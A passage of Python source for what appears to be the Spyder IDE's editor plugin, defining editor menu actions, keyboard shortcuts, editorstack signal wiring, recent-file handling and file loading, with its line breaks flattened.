self.get_current_editor().centerCursor() #------ SpyderPluginWidget API --------------------------------------------- def get_plugin_title(self): """Return widget title""" title = _('Editor') filename = self.get_current_filename() if filename: title += ' - '+unicode(filename) return title def get_plugin_icon(self): """Return widget icon""" return get_icon('edit.png') def get_focus_widget(self): """ Return the widget to give focus to when this plugin's dockwidget is raised on top-level """ return self.get_current_editor() def visibility_changed(self, enable): """DockWidget visibility has changed""" SpyderPluginWidget.visibility_changed(self, enable) if self.dockwidget.isWindow(): self.dock_toolbar.show() else: self.dock_toolbar.hide() if enable: self.refresh_plugin() def refresh_plugin(self): """Refresh editor plugin""" editorstack = self.get_current_editorstack() editorstack.refresh() self.refresh_save_all_action() def closing_plugin(self, cancelable=False): """Perform actions before parent main window is closed""" state = self.splitter.saveState() self.set_option('splitter_state', str(state.toHex())) filenames = [] editorstack = self.editorstacks[0] filenames += [finfo.filename for finfo in editorstack.data] self.set_option('layout_settings', self.editorsplitter.get_layout_settings()) self.set_option('windows_layout_settings', [win.get_layout_settings() for win in self.editorwindows]) self.set_option('filenames', filenames) self.set_option('recent_files', self.recent_files) is_ok = True for editorstack in self.editorstacks: is_ok = is_ok and editorstack.save_if_changed(cancelable) if not is_ok and cancelable: break if is_ok: for win in self.editorwindows[:]: win.close() return is_ok def get_plugin_actions(self): """Return a list of actions related to plugin""" self.toggle_outline_action = create_action(self, _("Show/hide outline explorer"), triggered=self.show_hide_outline_explorer, context=Qt.WidgetWithChildrenShortcut) self.register_shortcut(self.toggle_outline_action, context="Editor", name="Show/hide outline", default="Ctrl+Alt+O") self.toggle_project_action = create_action(self, _("Show/hide project explorer"), triggered=self.show_hide_project_explorer, context=Qt.WidgetWithChildrenShortcut) self.register_shortcut(self.toggle_project_action, context="Editor", name="Show/hide project explorer", default="Ctrl+Alt+P") self.addActions([self.toggle_outline_action, self.toggle_project_action]) self.new_action = create_action(self, _("&New file..."), icon='filenew.png', tip=_("Create a new Python script"), triggered=self.new) self.register_shortcut(self.new_action, context="Editor", name="New file", default="Ctrl+N") self.open_action = create_action(self, _("&Open..."), icon='fileopen.png', tip=_("Open text file"), triggered=self.load) self.revert_action = create_action(self, _("&Revert"), icon='revert.png', tip=_("Revert file from disk"), triggered=self.revert) self.register_shortcut(self.open_action, context="Editor", name="Open file", default="Ctrl+O") self.save_action = create_action(self, _("&Save"), icon='filesave.png', tip=_("Save current file"), triggered=self.save) self.register_shortcut(self.save_action, context="Editor", name="Save file", default="Ctrl+S") self.save_all_action = create_action(self, _("Sav&e all"), icon='save_all.png', tip=_("Save all opened files"), triggered=self.save_all) self.register_shortcut(self.save_all_action, context="Editor", name="Save all", default="Ctrl+Shift+S") save_as_action = create_action(self, _("Save &as..."), None, 'filesaveas.png', _("Save current file as..."), triggered=self.save_as) print_preview_action = create_action(self, _("Print preview..."), tip=_("Print preview..."), triggered=self.print_preview) self.print_action = create_action(self, _("&Print..."), icon='print.png', tip=_("Print current file..."), triggered=self.print_file) self.register_shortcut(self.print_action, context="Editor", name="Print", default="Ctrl+P") self.close_action = create_action(self, _("&Close"), icon='fileclose.png', tip=_("Close current file"), triggered=self.close_file) self.register_shortcut(self.close_action, context="Editor", name="Close file", default="Ctrl+W") self.close_all_action = create_action(self, _("C&lose all"), icon='filecloseall.png', tip=_("Close all opened files"), triggered=self.close_all_files) self.register_shortcut(self.close_all_action, context="Editor", name="Close all", default="Ctrl+Shift+W") set_clear_breakpoint_action = create_action(self, _("Set/Clear breakpoint"), icon=get_icon("breakpoint.png"), triggered=self.set_or_clear_breakpoint, context=Qt.WidgetShortcut) self.register_shortcut(set_clear_breakpoint_action, context="Editor", name="Breakpoint", default="F12") set_cond_breakpoint_action = create_action(self, _("Set/Edit conditional breakpoint"), icon=get_icon("breakpoint_cond.png"), triggered=self.set_or_edit_conditional_breakpoint, context=Qt.WidgetShortcut) self.register_shortcut(set_cond_breakpoint_action, context="Editor", name="Conditional breakpoint", default="Shift+F12") clear_all_breakpoints_action = create_action(self, _("Clear breakpoints in all files"), triggered=self.clear_all_breakpoints) breakpoints_menu = QMenu(_("Breakpoints"), self) add_actions(breakpoints_menu, (set_clear_breakpoint_action, set_cond_breakpoint_action, None, clear_all_breakpoints_action)) run_action = create_action(self, _("&Run"), icon='run.png', tip=_("Run active script in a new Python interpreter"), triggered=self.run_file) self.register_shortcut(run_action, context="Editor", name="Run", default="F5") debug_action = create_action(self, _("&Debug"), icon='bug.png', tip=_("Debug current script in external console" "\n(external console is executed in a " "separate process)"), triggered=self.debug_file) self.register_shortcut(debug_action, context="Editor", name="Debug", default="Ctrl+F5") configure_action = create_action(self, _("&Configure..."), icon='configure.png', tip=_("Edit run configurations"), triggered=self.edit_run_configurations) self.register_shortcut(configure_action, context="Editor", name="Configure", default="F6") re_run_action = create_action(self, _("Re-run &last script"), icon='run_again.png', tip=_("Run again last script in external console " "with the same options"), triggered=self.re_run_file) self.register_shortcut(re_run_action, context="Editor", name="Re-run last script", default="Ctrl+F6") run_selected_action = create_action(self, _("Run &selection or current block"), icon='run_selection.png', tip=_("Run selected text or current block of lines \n" "inside current external console's interpreter"), triggered=self.run_selection_or_block) self.register_shortcut(run_selected_action, context="Editor", name="Run selection", default="F9") self.todo_list_action = create_action(self, _("Show todo list"), icon='todo_list.png', tip=_("Show TODO/FIXME/XXX/HINT/TIP comments list"), triggered=self.go_to_next_todo) self.todo_menu = QMenu(self) self.todo_list_action.setMenu(self.todo_menu) self.connect(self.todo_menu, SIGNAL("aboutToShow()"), self.update_todo_menu) self.warning_list_action = create_action(self, _("Show warning/error list"), icon='wng_list.png', tip=_("Show code analysis warnings/errors"), triggered=self.go_to_next_warning) self.warning_menu = QMenu(self) self.warning_list_action.setMenu(self.warning_menu) self.connect(self.warning_menu, SIGNAL("aboutToShow()"), self.update_warning_menu) self.previous_warning_action = create_action(self, _("Previous warning/error"), icon='prev_wng.png', tip=_("Go to previous code analysis warning/error"), triggered=self.go_to_previous_warning) self.next_warning_action = create_action(self, _("Next warning/error"), icon='next_wng.png', tip=_("Go to next code analysis warning/error"), triggered=self.go_to_next_warning) self.previous_edit_cursor_action = create_action(self, _("Last edit location"), icon='last_edit_location.png', tip=_("Go to last edit location"), triggered=self.go_to_last_edit_location) self.register_shortcut(self.previous_edit_cursor_action, context="Editor", name="Last edit location", default="Ctrl+Alt+Shift+Left") self.previous_cursor_action = create_action(self, _("Previous cursor position"), icon='prev_cursor.png', tip=_("Go to previous cursor position"), triggered=self.go_to_previous_cursor_position) self.register_shortcut(self.previous_cursor_action, context="Editor", name="Previous cursor position", default="Ctrl+Alt+Left") self.next_cursor_action = create_action(self, _("Next cursor position"), icon='next_cursor.png', tip=_("Go to next cursor position"), triggered=self.go_to_next_cursor_position) self.register_shortcut(self.next_cursor_action, context="Editor", name="Next cursor position", default="Ctrl+Alt+Right") self.toggle_comment_action = create_action(self, _("Comment")+"/"+_("Uncomment"), icon='comment.png', tip=_("Comment current line or selection"), triggered=self.toggle_comment, context=Qt.WidgetShortcut) self.register_shortcut(self.toggle_comment_action, context="Editor", name="Toggle comment", default="Ctrl+1") blockcomment_action = create_action(self, _("Add &block comment"), tip=_("Add block comment around " "current line or selection"), triggered=self.blockcomment, context=Qt.WidgetShortcut) self.register_shortcut(blockcomment_action, context="Editor", name="Blockcomment", default="Ctrl+4") unblockcomment_action = create_action(self, _("R&emove block comment"), tip = _("Remove comment block around " "current line or selection"), triggered=self.unblockcomment, context=Qt.WidgetShortcut) self.register_shortcut(unblockcomment_action, context="Editor", name="Unblockcomment", default="Ctrl+5") # ---------------------------------------------------------------------- # The following action shortcuts are hard-coded in CodeEditor # keyPressEvent handler (the shortcut is here only to inform user): # (context=Qt.WidgetShortcut -> disable shortcut for other widgets) self.indent_action = create_action(self, _("Indent"), "Tab", icon='indent.png', tip=_("Indent current line or selection"), triggered=self.indent, context=Qt.WidgetShortcut) self.unindent_action = create_action(self, _("Unindent"), "Shift+Tab", icon='unindent.png', tip=_("Unindent current line or selection"), triggered=self.unindent, context=Qt.WidgetShortcut) # ---------------------------------------------------------------------- self.winpdb_action = create_action(self, _("Debug with winpdb"), triggered=self.run_winpdb) self.winpdb_action.setEnabled(WINPDB_PATH is not None) self.register_shortcut(self.winpdb_action, context="Editor", name="Debug with winpdb", default="F7") self.win_eol_action = create_action(self, _("Carriage return and line feed (Windows)"), toggled=lambda: self.toggle_eol_chars('nt')) self.linux_eol_action = create_action(self, _("Line feed (UNIX)"), toggled=lambda: self.toggle_eol_chars('posix')) self.mac_eol_action = create_action(self, _("Carriage return (Mac)"), toggled=lambda: self.toggle_eol_chars('mac')) eol_action_group = QActionGroup(self) eol_actions = (self.win_eol_action, self.linux_eol_action, self.mac_eol_action) add_actions(eol_action_group, eol_actions) eol_menu = QMenu(_("Convert end-of-line characters"), self) add_actions(eol_menu, eol_actions) trailingspaces_action = create_action(self, _("Remove trailing spaces"), triggered=self.remove_trailing_spaces) fixindentation_action = create_action(self, _("Fix indentation"), tip=_("Replace tab characters by space characters"), triggered=self.fix_indentation) gotoline_action = create_action(self, _("Go to line..."), icon=get_icon("gotoline.png"), triggered=self.go_to_line, context=Qt.WidgetShortcut) self.register_shortcut(gotoline_action, context="Editor", name="Go to line", default="Ctrl+L") workdir_action = create_action(self, _("Set console working directory"), icon=get_std_icon('DirOpenIcon'), tip=_("Set current console (and file explorer) working " "directory to current script directory"), triggered=self.__set_workdir) self.max_recent_action = create_action(self, _("Maximum number of recent files..."), triggered=self.change_max_recent_files) self.clear_recent_action = create_action(self, _("Clear this list"), tip=_("Clear recent files list"), triggered=self.clear_recent_files) self.recent_file_menu = QMenu(_("Open &recent"), self) self.connect(self.recent_file_menu, SIGNAL("aboutToShow()"), self.update_recent_file_menu) file_menu_actions = [self.new_action, self.open_action, self.recent_file_menu, self.save_action, self.save_all_action, save_as_action, self.revert_action, None, print_preview_action, self.print_action, None, self.close_action, self.close_all_action, None] self.main.file_menu_actions += file_menu_actions file_toolbar_actions = [self.new_action, self.open_action, self.save_action, self.save_all_action, self.print_action] self.main.file_toolbar_actions += file_toolbar_actions self.edit_menu_actions = [self.toggle_comment_action, blockcomment_action, unblockcomment_action, self.indent_action, self.unindent_action] self.main.edit_menu_actions += [None]+self.edit_menu_actions edit_toolbar_actions = [self.toggle_comment_action, self.unindent_action, self.indent_action] self.main.edit_toolbar_actions += edit_toolbar_actions self.search_menu_actions = [gotoline_action] self.main.search_menu_actions += self.search_menu_actions self.main.search_toolbar_actions += [gotoline_action] run_menu_actions = [run_action, debug_action, configure_action, breakpoints_menu, None, re_run_action, run_selected_action, None, self.winpdb_action] self.main.run_menu_actions += run_menu_actions run_toolbar_actions = [run_action, debug_action, configure_action, run_selected_action, re_run_action] self.main.run_toolbar_actions += run_toolbar_actions source_menu_actions = [eol_menu, trailingspaces_action, fixindentation_action] self.main.source_menu_actions += source_menu_actions source_toolbar_actions = [self.todo_list_action, self.warning_list_action, self.previous_warning_action, self.next_warning_action, None, self.previous_edit_cursor_action, self.previous_cursor_action, self.next_cursor_action] self.main.source_toolbar_actions += source_toolbar_actions self.dock_toolbar_actions = file_toolbar_actions + [None] + \ source_toolbar_actions + [None] + \ run_toolbar_actions + [None] + \ edit_toolbar_actions self.pythonfile_dependent_actions = [run_action, configure_action, set_clear_breakpoint_action, set_cond_breakpoint_action, debug_action, re_run_action, run_selected_action, blockcomment_action, unblockcomment_action, self.winpdb_action] self.file_dependent_actions = self.pythonfile_dependent_actions + \ [self.save_action, save_as_action, print_preview_action, self.print_action, self.save_all_action, gotoline_action, workdir_action, self.close_action, self.close_all_action, self.toggle_comment_action, self.revert_action, self.indent_action, self.unindent_action] self.stack_menu_actions = [self.save_action, save_as_action, self.print_action, None, run_action, debug_action, configure_action, None, gotoline_action, workdir_action, None, self.close_action] return self.file_dependent_actions def register_plugin(self): """Register plugin in Spyder's main window""" self.connect(self.main, SIGNAL('restore_scrollbar_position()'), self.restore_scrollbar_position) self.connect(self.main.console, SIGNAL("edit_goto(QString,int,QString)"), self.load) self.connect(self, SIGNAL('external_console_execute_lines(QString)'), self.main.execute_python_code_in_external_console) self.connect(self, SIGNAL('redirect_stdio(bool)'), self.main.redirect_internalshell_stdio) self.connect(self, SIGNAL("open_dir(QString)"), self.main.workingdirectory.chdir) self.set_inspector(self.main.inspector) if self.main.outlineexplorer is not None: self.set_outlineexplorer(self.main.outlineexplorer) self.main.add_dockwidget(self) #------ Focus tabwidget def __get_focus_editorstack(self): fwidget = QApplication.focusWidget() if isinstance(fwidget, EditorStack): return fwidget else: for editorstack in self.editorstacks: if editorstack.isAncestorOf(fwidget): return editorstack def set_last_focus_editorstack(self, editorwindow, editorstack): self.last_focus_editorstack[editorwindow] = editorstack self.last_focus_editorstack[None] = editorstack # very last editorstack def get_last_focus_editorstack(self, editorwindow=None): return self.last_focus_editorstack[editorwindow] def remove_last_focus_editorstack(self, editorstack): for editorwindow, widget in self.last_focus_editorstack.items(): if widget is editorstack: self.last_focus_editorstack[editorwindow] = None def save_focus_editorstack(self): editorstack = self.__get_focus_editorstack() if editorstack is not None: for win in [self]+self.editorwindows: if win.isAncestorOf(editorstack): self.set_last_focus_editorstack(win, editorstack) #------ Handling editorstacks def register_editorstack(self, editorstack): self.editorstacks.append(editorstack) self.register_widget_shortcuts("Editor", editorstack) if self.isAncestorOf(editorstack): # editorstack is a child of the Editor plugin self.set_last_focus_editorstack(self, editorstack) editorstack.set_closable( len(self.editorstacks) > 1 ) if self.outlineexplorer is not None: editorstack.set_outlineexplorer(self.outlineexplorer) editorstack.set_find_widget(self.find_widget) self.connect(editorstack, SIGNAL('reset_statusbar()'), self.readwrite_status.hide) self.connect(editorstack, SIGNAL('reset_statusbar()'), self.encoding_status.hide) self.connect(editorstack, SIGNAL('reset_statusbar()'), self.cursorpos_status.hide) self.connect(editorstack, SIGNAL('readonly_changed(bool)'), self.readwrite_status.readonly_changed) self.connect(editorstack, SIGNAL('encoding_changed(QString)'), self.encoding_status.encoding_changed) self.connect(editorstack, SIGNAL('editor_cursor_position_changed(int,int)'), self.cursorpos_status.cursor_position_changed) self.connect(editorstack, SIGNAL('refresh_eol_chars(QString)'), self.eol_status.eol_changed) editorstack.set_inspector(self.inspector) editorstack.set_io_actions(self.new_action, self.open_action, self.save_action, self.revert_action) editorstack.set_tempfile_path(self.TEMPFILE_PATH) settings = ( ('set_pyflakes_enabled', 'code_analysis/pyflakes'), ('set_pep8_enabled', 'code_analysis/pep8'), ('set_todolist_enabled', 'todo_list'), ('set_realtime_analysis_enabled', 'realtime_analysis'), ('set_realtime_analysis_timeout', 'realtime_analysis/timeout'), ('set_linenumbers_enabled', 'line_numbers'), ('set_edgeline_enabled', 'edge_line'), ('set_edgeline_column', 'edge_line_column'), ('set_outlineexplorer_enabled', 'outline_explorer'), ('set_codecompletion_auto_enabled', 'codecompletion/auto'), ('set_codecompletion_case_enabled', 'codecompletion/case_sensitive'), ('set_codecompletion_single_enabled', 'codecompletion/show_single'), ('set_codecompletion_enter_enabled', 'codecompletion/enter_key'), ('set_calltips_enabled', 'calltips'), ('set_go_to_definition_enabled', 'go_to_definition'), ('set_close_parentheses_enabled', 'close_parentheses'), ('set_auto_unindent_enabled', 'auto_unindent'), ('set_indent_chars', 'indent_chars'), ('set_tab_stop_width', 'tab_stop_width'), ('set_inspector_enabled', 'object_inspector'), ('set_wrap_enabled', 'wrap'), ('set_tabmode_enabled', 'tab_always_indent'), ('set_intelligent_backspace_enabled', 'intelligent_backspace'), ('set_highlight_current_line_enabled', 'highlight_current_line'), ('set_occurence_highlighting_enabled', 'occurence_highlighting'), ('set_occurence_highlighting_timeout', 'occurence_highlighting/timeout'), ('set_checkeolchars_enabled', 'check_eol_chars'), ('set_fullpath_sorting_enabled', 'fullpath_sorting'), ('set_tabbar_visible', 'show_tab_bar'), ('set_always_remove_trailing_spaces', 'always_remove_trailing_spaces'), ) for method, setting in settings: getattr(editorstack, method)(self.get_option(setting)) color_scheme = get_color_scheme(self.get_option('color_scheme_name')) editorstack.set_default_font(self.get_plugin_font(), color_scheme) self.connect(editorstack, SIGNAL('starting_long_process(QString)'), self.starting_long_process) self.connect(editorstack, SIGNAL('ending_long_process(QString)'), self.ending_long_process) # Redirect signals self.connect(editorstack, SIGNAL('redirect_stdio(bool)'), lambda state: self.emit(SIGNAL('redirect_stdio(bool)'), state)) self.connect(editorstack, SIGNAL('external_console_execute_lines(QString)'), lambda text: self.emit( SIGNAL('external_console_execute_lines(QString)'), text)) self.connect(editorstack, SIGNAL("update_plugin_title()"), lambda: self.emit(SIGNAL("update_plugin_title()"))) self.connect(self, SIGNAL("editor_focus_changed()"), self.save_focus_editorstack) self.connect(self, SIGNAL('editor_focus_changed()'), self.main.plugin_focus_changed) self.connect(editorstack, SIGNAL('close_file(int,int)'), self.close_file_in_all_editorstacks) self.connect(editorstack, SIGNAL('file_saved(int,int)'), self.file_saved_in_editorstack) self.connect(editorstack, SIGNAL("create_new_window()"), self.create_new_window) self.connect(editorstack, SIGNAL('opened_files_list_changed()'), self.opened_files_list_changed) self.connect(editorstack, SIGNAL('analysis_results_changed()'), self.analysis_results_changed) self.connect(editorstack, SIGNAL('todo_results_changed()'), self.todo_results_changed) self.connect(editorstack, SIGNAL('update_code_analysis_actions()'), self.update_code_analysis_actions) self.connect(editorstack, SIGNAL('update_code_analysis_actions()'), self.update_todo_actions) self.connect(editorstack, SIGNAL('refresh_file_dependent_actions()'), self.refresh_file_dependent_actions) self.connect(editorstack, SIGNAL('refresh_save_all_action()'), self.refresh_save_all_action) self.connect(editorstack, SIGNAL('refresh_eol_chars(QString)'), self.refresh_eol_chars) self.connect(editorstack, SIGNAL("save_breakpoints(QString,QString)"), self.save_breakpoints) self.connect(editorstack, SIGNAL('text_changed_at(QString,int)'), self.text_changed_at) self.connect(editorstack, SIGNAL('current_file_changed(QString,int)'), self.current_file_changed) self.connect(editorstack, SIGNAL('plugin_load(QString)'), self.load) self.connect(editorstack, SIGNAL("edit_goto(QString,int,QString)"), self.load) def unregister_editorstack(self, editorstack): """Removing editorstack only if it's not the last remaining""" self.remove_last_focus_editorstack(editorstack) if len(self.editorstacks) > 1: index = self.editorstacks.index(editorstack) self.editorstacks.pop(index) return True else: # editorstack was not removed! return False def clone_editorstack(self, editorstack): editorstack.clone_from(self.editorstacks[0]) @Slot(int, int) def close_file_in_all_editorstacks(self, editorstack_id, index): for editorstack in self.editorstacks: if id(editorstack) != editorstack_id: editorstack.blockSignals(True) editorstack.close_file(index, force=True) editorstack.blockSignals(False) @Slot(int, int) def file_saved_in_editorstack(self, editorstack_id, index): """A file was saved in editorstack, this notifies others""" for editorstack in self.editorstacks: if id(editorstack) != editorstack_id: editorstack.file_saved_in_other_editorstack(index) #------ Handling editor windows def setup_other_windows(self): """Setup toolbars and menus for 'New window' instances""" self.toolbar_list = ( (_("File toolbar"), self.main.file_toolbar_actions), (_("Search toolbar"), self.main.search_menu_actions), (_("Source toolbar"), self.main.source_toolbar_actions), (_("Run toolbar"), self.main.run_toolbar_actions), (_("Edit toolbar"), self.main.edit_toolbar_actions), ) self.menu_list = ( (_("&File"), self.main.file_menu_actions), (_("&Edit"), self.main.edit_menu_actions), (_("&Search"), self.main.search_menu_actions), (_("Sour&ce"), self.main.source_menu_actions), (_("&Run"), self.main.run_menu_actions), (_("&Tools"), self.main.tools_menu_actions), (_("?"), self.main.help_menu_actions), ) # Create pending new windows: for layout_settings in self.editorwindows_to_be_created: win = self.create_new_window() win.set_layout_settings(layout_settings) def create_new_window(self): oe_options = self.outlineexplorer.get_options() fullpath_sorting=self.get_option('fullpath_sorting', True), window = EditorMainWindow(self, self.stack_menu_actions, self.toolbar_list, self.menu_list, show_fullpath=oe_options['show_fullpath'], fullpath_sorting=fullpath_sorting, show_all_files=oe_options['show_all_files'], show_comments=oe_options['show_comments']) window.resize(self.size()) window.show() self.register_editorwindow(window) self.connect(window, SIGNAL("destroyed()"), lambda win=window: self.unregister_editorwindow(win)) return window def register_editorwindow(self, window): self.editorwindows.append(window) def unregister_editorwindow(self, window): self.editorwindows.pop(self.editorwindows.index(window)) #------ Accessors def get_filenames(self): return [finfo.filename for finfo in self.editorstacks[0].data] def get_filename_index(self, filename): return self.editorstacks[0].has_filename(filename) def get_current_editorstack(self, editorwindow=None): if self.editorstacks is not None: if len(self.editorstacks) == 1: return self.editorstacks[0] else: editorstack = self.__get_focus_editorstack() if editorstack is None or editorwindow is not None: return self.get_last_focus_editorstack(editorwindow) return editorstack def get_current_editor(self): editorstack = self.get_current_editorstack() if editorstack is not None: return editorstack.get_current_editor() def get_current_finfo(self): editorstack = self.get_current_editorstack() if editorstack is not None: return editorstack.get_current_finfo() def get_current_filename(self): editorstack = self.get_current_editorstack() if editorstack is not None: return editorstack.get_current_filename() def is_file_opened(self, filename=None): return self.editorstacks[0].is_file_opened(filename) def set_current_filename(self, filename, editorwindow=None): """Set focus to *filename* if this file has been opened Return the editor instance associated to *filename*""" editorstack = self.get_current_editorstack(editorwindow) return editorstack.set_current_filename(filename) #------ Refresh methods def refresh_file_dependent_actions(self): """Enable/disable file dependent actions (only if dockwidget is visible)""" if self.dockwidget and self.dockwidget.isVisible(): enable = self.get_current_editor() is not None for action in self.file_dependent_actions: action.setEnabled(enable) def refresh_save_all_action(self): state = False editorstack = self.editorstacks[0] if editorstack.get_stack_count() > 1: state = state or any([finfo.editor.document().isModified() for finfo in editorstack.data]) self.save_all_action.setEnabled(state) def update_warning_menu(self): """Update warning list menu""" editorstack = self.get_current_editorstack() check_results = editorstack.get_analysis_results() self.warning_menu.clear() filename = self.get_current_filename() for message, line_number in check_results: error = 'syntax' in message text = message[:1].upper()+message[1:] icon = get_icon('error.png' if error else 'warning.png') slot = lambda _l=line_number: self.load(filename, goto=_l) action = create_action(self, text=text, icon=icon, triggered=slot) self.warning_menu.addAction(action) def analysis_results_changed(self): """ Synchronize analysis results between editorstacks Refresh analysis navigation buttons """ editorstack = self.get_current_editorstack() results = editorstack.get_analysis_results() index = editorstack.get_stack_index() if index != -1: for other_editorstack in self.editorstacks: if other_editorstack is not editorstack: other_editorstack.set_analysis_results(index, results) self.update_code_analysis_actions() def update_todo_menu(self): """Update todo list menu""" editorstack = self.get_current_editorstack() results = editorstack.get_todo_results() self.todo_menu.clear() filename = self.get_current_filename() for text, line0 in results: icon = get_icon('todo.png') slot = lambda _l=line0: self.load(filename, goto=_l) action = create_action(self, text=text, icon=icon, triggered=slot) self.todo_menu.addAction(action) self.update_todo_actions() def todo_results_changed(self): """ Synchronize todo results between editorstacks Refresh todo list navigation buttons """ editorstack = self.get_current_editorstack() results = editorstack.get_todo_results() index = editorstack.get_stack_index() if index != -1: for other_editorstack in self.editorstacks: if other_editorstack is not editorstack: other_editorstack.set_todo_results(index, results) self.update_todo_actions() def refresh_eol_chars(self, os_name): os_name = unicode(os_name) self.__set_eol_chars = False if os_name == 'nt': self.win_eol_action.setChecked(True) elif os_name == 'posix': self.linux_eol_action.setChecked(True) else: self.mac_eol_action.setChecked(True) self.__set_eol_chars = True #------ Slots def opened_files_list_changed(self): """ Opened files list has changed: --> open/close file action --> modification ('*' added to title) --> current edited file has changed """ # Refresh Python file dependent actions: editor = self.get_current_editor() if editor: enable = editor.is_python() for action in self.pythonfile_dependent_actions: if action is self.winpdb_action: action.setEnabled(enable and WINPDB_PATH is not None) else: action.setEnabled(enable) def update_code_analysis_actions(self): editorstack = self.get_current_editorstack() results = editorstack.get_analysis_results() # Update code analysis buttons state = (self.get_option('code_analysis/pyflakes') \ or self.get_option('code_analysis/pep8')) \ and results is not None and len(results) for action in (self.warning_list_action, self.previous_warning_action, self.next_warning_action): action.setEnabled(state) def update_todo_actions(self): editorstack = self.get_current_editorstack() results = editorstack.get_todo_results() state = self.get_option('todo_list') \ and results is not None and len(results) self.todo_list_action.setEnabled(state) #------ Breakpoints def save_breakpoints(self, filename, breakpoints): filename, breakpoints = unicode(filename), unicode(breakpoints) filename = osp.normpath(osp.abspath(filename)) if breakpoints: breakpoints = eval(breakpoints) else: breakpoints = [] save_breakpoints(filename, breakpoints) #------ File I/O def __load_temp_file(self): """Load temporary file from a text file in user home directory""" if not osp.isfile(self.TEMPFILE_PATH): # Creating temporary file default = ['# -*- coding: utf-8 -*-', '"""', _("Spyder Editor"), '', _("This temporary script file is located here:"), self.TEMPFILE_PATH, '"""', '', ''] text = os.linesep.join([encoding.to_unicode(qstr) for qstr in default]) encoding.write(unicode(text), self.TEMPFILE_PATH, 'utf-8') self.load(self.TEMPFILE_PATH) def __set_workdir(self): """Set current script directory as working directory""" fname = self.get_current_filename() if fname is not None: directory = osp.dirname(osp.abspath(fname)) self.emit(SIGNAL("open_dir(QString)"), directory) def __add_recent_file(self, fname): """Add to recent file list""" if fname is None: return if fname in self.recent_files: self.recent_files.remove(fname) self.recent_files.insert(0, fname) if len(self.recent_files) > self.get_option('max_recent_files'): self.recent_files.pop(-1) def _clone_file_everywhere(self, finfo): """Clone file (*src_editor* widget) in all editorstacks Cloning from the first editorstack in which every single new editor is created (when loading or creating a new file)""" for editorstack in self.editorstacks[1:]: editor = editorstack.clone_editor_from(finfo, set_current=False) self.register_widget_shortcuts("Editor", editor) def new(self, fname=None, editorstack=None): """ Create a new file - Untitled fname=None --> fname will be 'untitledXX.py' but do not create file fname=<basestring> --> create file """ # Creating template text, enc = encoding.read(self.TEMPLATE_PATH) encoding_match = re.search('-*- coding: ?([a-z0-9A-Z\-]*) -*-', text) if encoding_match: enc = encoding_match.group(1) # Initialize template variables username = os.environ.get('USERNAME', None) # Windows, Linux if not username: username = os.environ.get('USER', '-') # Mac OS VARS = { 'date':time.ctime(), 'username':username, } try: text = text % VARS except: pass create_fname = lambda n: unicode(_("untitled")) + ("%d.py" % n) # Creating editor widget if editorstack is None: current_es = self.get_current_editorstack() else: current_es = editorstack created_from_here = fname is None if created_from_here: while True: fname = create_fname(self.untitled_num) self.untitled_num += 1 if not osp.isfile(fname): break basedir = os.getcwdu() if CONF.get('workingdir', 'editor/new/browse_scriptdir'): c_fname = self.get_current_filename() if c_fname is not None and c_fname != self.TEMPFILE_PATH: basedir = osp.dirname(c_fname) fname = osp.abspath(osp.join(basedir, fname)) else: # QString when triggered by a Qt signal fname = osp.abspath(unicode(fname)) index = current_es.has_filename(fname) if index and not current_es.close_file(index): return # Creating the editor widget in the first editorstack (the one that # can't be destroyed), then cloning this editor widget in all other # editorstacks: finfo = self.editorstacks[0].new(fname, enc, text) self._clone_file_everywhere(finfo) current_editor = current_es.set_current_filename(finfo.filename) self.register_widget_shortcuts("Editor", current_editor) if not created_from_here: self.save(force=True) def edit_template(self): """Edit new file template""" self.load(self.TEMPLATE_PATH) def update_recent_file_menu(self): """Update recent file menu""" recent_files = [] for fname in self.recent_files: if not self.is_file_opened(fname) and osp.isfile(fname): recent_files.append(fname) self.recent_file_menu.clear() if recent_files: for i, fname in enumerate(recent_files): if i < 10: accel = "%d" % ((i+1) % 10) else: accel = chr(i-10+ord('a')) action = create_action(self, "&%s %s" % (accel, fname), icon=get_filetype_icon(fname), triggered=self.load) action.setData(to_qvariant(fname)) self.recent_file_menu.addAction(action) self.clear_recent_action.setEnabled(len(recent_files) > 0) add_actions(self.recent_file_menu, (None, self.max_recent_action, self.clear_recent_action)) def clear_recent_files(self): """Clear recent files list""" self.recent_files = [] def change_max_recent_files(self): "Change max recent files entries""" editorstack = self.get_current_editorstack() mrf, valid = QInputDialog.getInteger(editorstack, _('Editor'), _('Maximum number of recent files'), self.get_option('max_recent_files'), 1, 35) if valid: self.set_option('max_recent_files', mrf) def load(self, filenames=None, goto=None, word='', editorwindow=None): """ Load a text file editorwindow: load in this editorwindow (useful when clicking on outline explorer with multiple editor windows) """ editor0 = self.get_current_editor() if editor0 is not None: position0 = editor0.get_position('cursor') filename0 = self.get_current_filename() else: position0, filename0 = None, None if not filenames: # Recent files action action = self.sender() if isinstance(action, QAction): filenames = from_qvariant(action.data(), unicode) if not filenames: basedir = os.getcwdu() if CONF.get('workingdir', 'editor/open/browse_scriptdir'): c_fname = self.get_current_filename() if c_fname is not None and c_fname != self.TEMPFILE_PATH: basedir = osp.dirname(c_fname) self.emit(SIGNAL('redirect_stdio(bool)'), False) parent_widget = self.get_current_editorstack() filenames, _selfilter = getopenfilenames(parent_widget, _("Open file"), basedir, EDIT_FILTERS) self.emit(SIGNAL('redirect_stdio(bool)'), True) if filenames: filenames = [osp.normpath(fname) for fname in filenames] if CONF.get('workingdir', 'editor/open/auto_set_to_basedir'): directory = osp.dirname(filenames[0]) self.emit(SIGNAL("open_dir(QString)"), directory) else: return if self.dockwidget and not self.ismaximized\ and not self.dockwidget.isAncestorOf(QApplication.focusWidget()): self.dockwidget.setVisible(True) self.dockwidget.setFocus() self.dockwidget.raise_() def _convert(fname): fname = osp.abspath(encoding.to_unicode(fname)) if os.name == 'nt' and len(fname) >= 2 and fname[1] == ':': fname = fname[0].upper()+fname[1:] return fname if hasattr(filenames, 'replaceInStrings'): # This is a QStringList instance (PyQt API #1), converting to list: filenames = list(filenames) if not isinstance(filenames, list): filenames = [_convert(filenames)] else: filenames = [_convert(fname) for fname in list(filenames)] if isinstance(goto, int): goto = [goto] elif goto is not None and len(goto) != len(filenames): goto = None for index, filename in enumerate(filenames): # -- Do not open an already opened file current_editor = self.set_current_filename(filename, editorwindow) if current_editor is None: # -- Not a valid filename: if not osp.isfile(filename): continue # -- current_es = self.get_current_editorstack(editorwindow) # Creating the editor widget in the first editorstack (the one # that can't be destroyed), then cloning this editor widget in # all other editorstacks: finfo = self.editorstacks[0].load(filename, set_current=False) self._clone_file_everywhere(finfo) current_editor = current_es.set_current_filename(filename) current_editor.set_breakpoints(load_breakpoints(filename)) 